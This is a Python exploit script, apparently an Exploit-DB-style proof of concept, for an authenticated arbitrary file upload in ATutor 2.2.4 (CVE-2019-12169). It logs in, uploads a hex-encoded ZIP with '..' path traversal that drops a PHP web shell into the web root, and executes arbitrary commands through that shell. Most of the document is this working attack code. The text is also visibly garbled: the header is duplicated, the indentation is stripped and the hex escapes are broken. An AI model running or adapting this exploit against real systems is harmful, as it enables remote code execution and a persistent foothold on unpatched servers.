#!/usr/bin/env python
#
# Exploit Title: ATutor 2.2.4 'language_import' Arbitrary File Upload / RCE [CVE-2019-12169]
# Date: 5/24/19
# Exploit Author: liquidsky (JM #!/usr/bin/env python
#
# Exploit Title: ATutor 2.2.4 'language_import' Arbitrary File Upload / RCE [CVE-2019-12169]
# Date: 5/24/19
# Exploit Author: liquidsky (JMcPeters)
# Vendor Homepage: https://atutor.github.io/
# Software Link: https://sourceforge.net/projects/atutor/files/latest/download
# Version: 2.2.4
# Tested on: Windows 8 / Apache / MySQL (XAMPP)
# CVE : CVE-2019-12169
# Author Site: http://incidentsecurity.com/atutor-2-2-4-language_import-arbitrary-file-upload-rce/
# : https://github.com/fuzzlove
#
# Description: ATutor 2.2.4 allows Arbitrary File Upload and Directory Traversal
# resulting in remote code execution via a ".." pathname in a ZIP archive to the mods/_core/languages/language_import.php (aka Import New Language) or mods/_standard/patcher/index_admin.php (aka Patcher) component.
#
# Greetz: wetw0rk, offsec ^^
#
# Notes: This application is no longer being maintained so there is no fix for this issue.

import sys, hashlib, requests
import urllib
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import time


print "+-------------------------------------------------------------+"
print
print "- ATutor 2.2.4 Arbitrary File Upload / RCE [CVE-2019-12169]"
print
print "- Discovery / PoC by liquidsky (JMcPeters) ^^"
print
print "+-------------------------------------------------------------+"

try:
#settings
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
commands = sys.argv[4]

except IndexError:

print
print "- usage: %s <target> <username> <password> <command>" % sys.argv[0]
print "- Example: %s incidentsecurity.com admin mypassword 'whoami'" % sys.argv[0]
print
sys.exit()


# headers to upload zip
headers = {
"Accept-Encoding": "gzip, deflate",
"Referer": "http://" + target + "/ATutor/mods/_core/languages/language_import.php",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=---------------------------CVE201912169",
}

# Note: This was successfully tested against a windows install however it should work with linux.
# -----
# This will drop a shell on c:xampphtdocsliquidsky.php and or /var/www/html/liquidsky.php
# using directory traversal.


# php file payload
data = ""
data += "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d"
data += "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx43"
data += "x56x45x32x30x31x39x31x32x31x36x39x0dx0ax43x6f"
data += "x6ex74x65x6ex74x2dx44x69x73x70x6fx73x69x74x69"
data += "x6fx6ex3ax20x66x6fx72x6dx2dx64x61x74x61x3bx20"
data += "x6ex61x6dx65x3dx22x66x69x6cx65x22x3bx20x66x69"
data += "x6cx65x6ex61x6dx65x3dx22x70x6fx63x2ex7ax69x70"
data += "x22x0dx0ax43x6fx6ex74x65x6ex74x2dx54x79x70x65"
data += "x3ax20x61x70x70x6cx69x63x61x74x69x6fx6ex2fx7a"
data += "x69x70x0dx0ax0dx0ax50x4bx03x04x14x00x00x00x08"
data += "x00xa4x00xb8x4exbbxb9x35x2dx6ax00x00x00x6ax00"
data += "x00x00x2cx00x00x00x2ex2ex5cx2ex2ex5cx2ex2ex5c"
data += "x2ex2ex5cx2ex2ex5cx2ex2ex2fx78x61x6dx70x70x5c"
data += "x68x74x64x6fx63x73x5cx6cx69x71x75x69x64x73x6b"
data += "x79x2ex70x68x70xb3xb1x2fxc8x28x50x48x2dx4bxcc"
data += "xd1x50xb2xb7x53xd2x4bx4ax2cx4ex35x33x89x4fx49"
data += "x4dxcex4fx49xd5x50x72x09xccxf7x02x62x8bx00x63"
data += "xa7xfcx64x67xa7x9cx48xa3x8cx32x4fx0fxa7x8cx64"
data += "x63x3fx83x44x0fx2fx43x6fxe7xa0xb4x20x83xb0xd0"
data += "xf0xcax94xe2xc8x70xd3xbcx94x70xb7xbcxa8xe0x94"
data += "x14xefx90xe2xf4x80x2ax13x3fxe7x74x5bx5bx25x4d"
data += "x4dx6bx05x7bx3bx00x50x4bx03x04x14x00x00x00x08"
data += "x00xa4x00xb8x4exbbxb9x35x2dx6ax00x00x00x6ax00"
data += "x00x00x2cx00x00x00x2ex2ex2fx2ex2ex2fx2ex2ex2f"
data += "x2ex2ex2fx2ex2ex2fx2ex2ex2fx76x61x72x2fx77x77"
data += "x77x2fx68x74x6dx6cx2fx6cx69x71x75x69x64x73x6b"
data += "x79x2ex70x68x70xb3xb1x2fxc8x28x50x48x2dx4bxcc"
data += "xd1x50xb2xb7x53xd2x4bx4ax2cx4ex35x33x89x4fx49"
data += "x4dxcex4fx49xd5x50x72x09xccxf7x02x62x8bx00x63"
data += "xa7xfcx64x67xa7x9cx48xa3x8cx32x4fx0fxa7x8cx64"
data += "x63x3fx83x44x0fx2fx43x6fxe7xa0xb4x20x83xb0xd0"
data += "xf0xcax94xe2xc8x70xd3xbcx94x70xb7xbcxa8xe0x94"
data += "x14xefx90xe2xf4x80x2ax13x3fxe7x74x5bx5bx25x4d"
data += "x4dx6bx05x7bx3bx00x50x4bx01x02x14x03x14x00x00"
data += "x00x08x00xa4x00xb8x4exbbxb9x35x2dx6ax00x00x00"
data += "x6ax00x00x00x2cx00x00x00x00x00x00x00x00x00x00"
data += "x00x80x01x00x00x00x00x2ex2ex5cx2ex2ex5cx2ex2e"
data += "x5cx2ex2ex5cx2ex2ex5cx2ex2ex2fx78x61x6dx70x70"
data += "x5cx68x74x64x6fx63x73x5cx6cx69x71x75x69x64x73"
data += "x6bx79x2ex70x68x70x50x4bx01x02x14x03x14x00x00"
data += "x00x08x00xa4x00xb8x4exbbxb9x35x2dx6ax00x00x00"
data += "x6ax00x00x00x2cx00x00x00x00x00x00x00x00x00x00"
data += "x00x80x01xb4x00x00x00x2ex2ex2fx2ex2ex2fx2ex2e"
data += "x2fx2ex2ex2fx2ex2ex2fx2ex2ex2fx76x61x72x2fx77"
data += "x77x77x2fx68x74x6dx6cx2fx6cx69x71x75x69x64x73"
data += "x6bx79x2ex70x68x70x50x4bx05x06x00x00x00x00x02"
data += "x00x02x00xb4x00x00x00x68x01x00x00x00x00x0dx0a"
data += "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d"
data += "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx43"
data += "x56x45x32x30x31x39x31x32x31x36x39x0dx0ax43x6f"
data += "x6ex74x65x6ex74x2dx44x69x73x70x6fx73x69x74x69"
data += "x6fx6ex3ax20x66x6fx72x6dx2dx64x61x74x61x3bx20"
data += "x6ex61x6dx65x3dx22x73x75x62x6dx69x74x22x0dx0a"
data += "x0dx0ax49x6dx70x6fx72x74x0dx0ax2dx2dx2dx2dx2d"
data += "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d"
data += "x2dx2dx2dx2dx2dx2dx2dx2dx2dx43x56x45x32x30x31"
data += "x39x31x32x31x36x39x2dx2dx0dx0a"


#reverse shell url
shell = "http://" + target + "/liquidsky.php?language=" + commands

# Generate Hash
def gen_hash(passwd, token):
m= hashlib.sha1()
m.update(passwd + token)
return m.hexdigest()

def we_can_get_jiggy_with_the_pass():

# Run pass through SHA1
hash_object = hashlib.sha1(password)
hex_dig = hash_object.hexdigest()
print "[*] Got SHA1 for pass: " + (hex_dig)

targeturl = "http://" + target + "/ATutor/login.php"
token = "abc"
hashed = gen_hash(hex_dig, token)
d = {
"form_password_hidden" : hashed,
"form_login": "admin",
"submit": "Login",
"token" : token
}
s = requests.Session()

#Logging in
r = s.post(targeturl, data=d)
print "[+] Logging in to system as %s ..." % (username)
res = r.text

# url settings, duh
url = "http://" + target + "/ATutor/mods/_core/languages/language_import.php"

# A similar method works for the "patcher" function.
# url = "http://" + target + "/ATutor/mods/_standard/patcher/index_admin.php"

# This is "the" request to send the zip
request = s.post(url, headers=headers, data=data, verify=False)
print "[+] Sent the zip ......"
time.sleep(1)

# Grab shell dude!
print "[!] *** Remote Code Execution ***"
request = s.post(shell, verify=False)
print "[x] http://" + target + "/liquidsky.php?language=" + commands

# Note be sure to clean up: c:xampphtdocsliquidsky.php and or /var/www/html/liquidsky.php

if "Administration" in res:
return True
return False

def main():
if we_can_get_jiggy_with_the_pass():
print ""
print "[+] Success! we were able to login!"
print ""
print " ^_~ got r00t? - [liquidsky 2019]"
else: print "[-] failure!"

if __name__ == "__main__":
main()